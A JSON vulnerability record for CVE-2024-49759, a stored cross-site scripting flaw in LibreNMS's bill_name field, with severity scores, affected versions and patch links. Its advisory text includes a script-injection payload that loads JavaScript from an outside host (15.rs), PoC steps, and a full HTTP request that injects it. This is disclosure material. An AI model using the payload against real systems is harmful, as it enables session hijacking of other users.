{"id":"CVE-2024-49759","aliases":["CVE-2024-49759","GHSA-888j-pjqh-fx58"],"related":[],"kind":"vulnerability","state":"published","title":"LibreNMS has a Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/edituser.inc.php","summary":"LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. A Stored Cross-Site Scripting (XSS) vulnerability in the \"Manage User Access\" page allows authenticated users to inject arbitrary JavaScript through the \"bill_name\" parameter when creating a new bill. This vulnerability can lead to the execution of malicious code when visiting the \"Bill Access\" dropdown in the user's \"Manage Access\" page, potentially compromising user sessions and allowing unauthorized actions. This vulnerability is fixed in 24.10.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. A Stored Cross-Site Scripting (XSS) vulnerability in the \"Manage User Access\" page allows authenticated users to inject arbitrary JavaScript through the \"bill_name\" parameter when creating a new bill. This vulnerability can lead to the execution of malicious code when visiting the \"Bill Access\" dropdown in the user's \"Manage Access\" page, potentially compromising user sessions and allowing unauthorized actions. This vulnerability is fixed in 24.10.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nA Stored Cross-Site Scripting (XSS) vulnerability in the \"Manage User Access\" page allows authenticated users to inject arbitrary JavaScript through the \"bill_name\" parameter when creating a new bill. This vulnerability can lead to the execution of malicious code when visiting the \"Bill Access\" dropdown in the user's \"Manage Access\" page, potentially compromising user sessions and allowing unauthorized actions.\n\n### Details\nWhen creating a new bill, an attacker can inject the following XSS payload into the \"bill_name\" parameter:\n```test1'\"><script/src=//15.rs>```\n\nNote: The payload uses the \"15.rs\" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.\n\nThe payload triggers in the \"Bill Access\" dropdown when the user's \"Manage Access\" page is visited. The sink responsible for this issue is:\nhttps://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/edituser.inc.php#L309\n\n### PoC\n1. Create a new bill using the following payload in the \"bill_name\" parameter:\n```test1'\"><script/src=//15.rs>```\n2. Save the bill.\n3. Navigate to the \"Manage Access\" page for the user.\n4. Observe that the injected script executes in the \"Bill Access\" dropdown.\n\nExample Request:\n```http\nPOST /bill/bill_id=2/view=edit/ HTTP/1.1\nHost: <your_host>\nContent-Type: application/x-www-form-urlencoded\nCookie: <your_cookie>\n\n_token=<your_token>&action=update_bill&bill_name=test1%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&bill_type=cdr&bill_cdr=&bill_cdr_type=Kbps&dir_95th=in&bill_quota=&bill_quota_type=MB&bill_day=1&bill_custid=test2%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&bill_ref=test3%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&bill_notes=test4%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&Submit=Save\n```\n\n### Impact\n\nThis vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the \"Manage Access\" page. The attacker can perform unauthorized actions or compromise user accounts by exploiting this vulnerability.","format":"markdown","source":"ghsa"},{"lang":"es","text":"LibreNMS es un sistema de monitoreo de red de código abierto basado en PHP/MySQL/SNMP. Una vulnerabilidad de cross site scripting (XSS) almacenado en la página \"Administrar acceso de usuarios\" permite a los usuarios autenticados inyectar código JavaScript arbitrario a través del parámetro \"bill_name\" al crear una nueva factura. Esta vulnerabilidad puede provocar la ejecución de código malicioso al visitar el menú desplegable \"Acceso a facturas\" en la página \"Administrar acceso\" del usuario, lo que puede comprometer las sesiones del usuario y permitir acciones no autorizadas. Esta vulnerabilidad se solucionó en 24.10.0.","source":"nvd"}],"published":"2024-11-15T15:25:56.000Z","modified":"2026-06-17T08:00:23.717Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N","score":4.8,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N","score":4.8,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L","score":7.5,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","score":5.4,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 24.10.0","status":"affected"}],"vendor":"librenms","product":"librenms","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"24.10.0","status":"affected"}],"vendor":"librenms","product":"librenms","cpe":"cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"24.10.0"}],"ecosystem":"Packagist","package":"librenms/librenms","purl":"pkg:composer/librenms/librenms","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"24.10.0"}],"vendor":"librenms","product":"librenms","cpe":"cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/librenms/librenms/security/advisories/GHSA-888j-pjqh-fx58","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/librenms/librenms/commit/237f4d2e818170171dfad6efad36a275cd2ba8d0","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-49759","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/librenms/librenms","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2024-11-15T16:52:28.223Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-49759","url":"https://www.cve.org/CVERecord?id=CVE-2024-49759","licence":"CVE Terms of Use","modified":"2024-11-15T16:54:09.169Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-888j-pjqh-fx58","url":"https://github.com/advisories/GHSA-888j-pjqh-fx58","licence":"CC-BY-4.0","modified":"2024-11-15T21:11:01.143Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-49759","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-49759","licence":"Public domain","modified":"2026-06-17T08:00:23.717Z"}],"updatedAt":"2026-11-25T22:58:48.300Z","epss":{"score":0.00438,"percentile":0.39775,"date":"2026-12-01T12:00:22.000Z"}}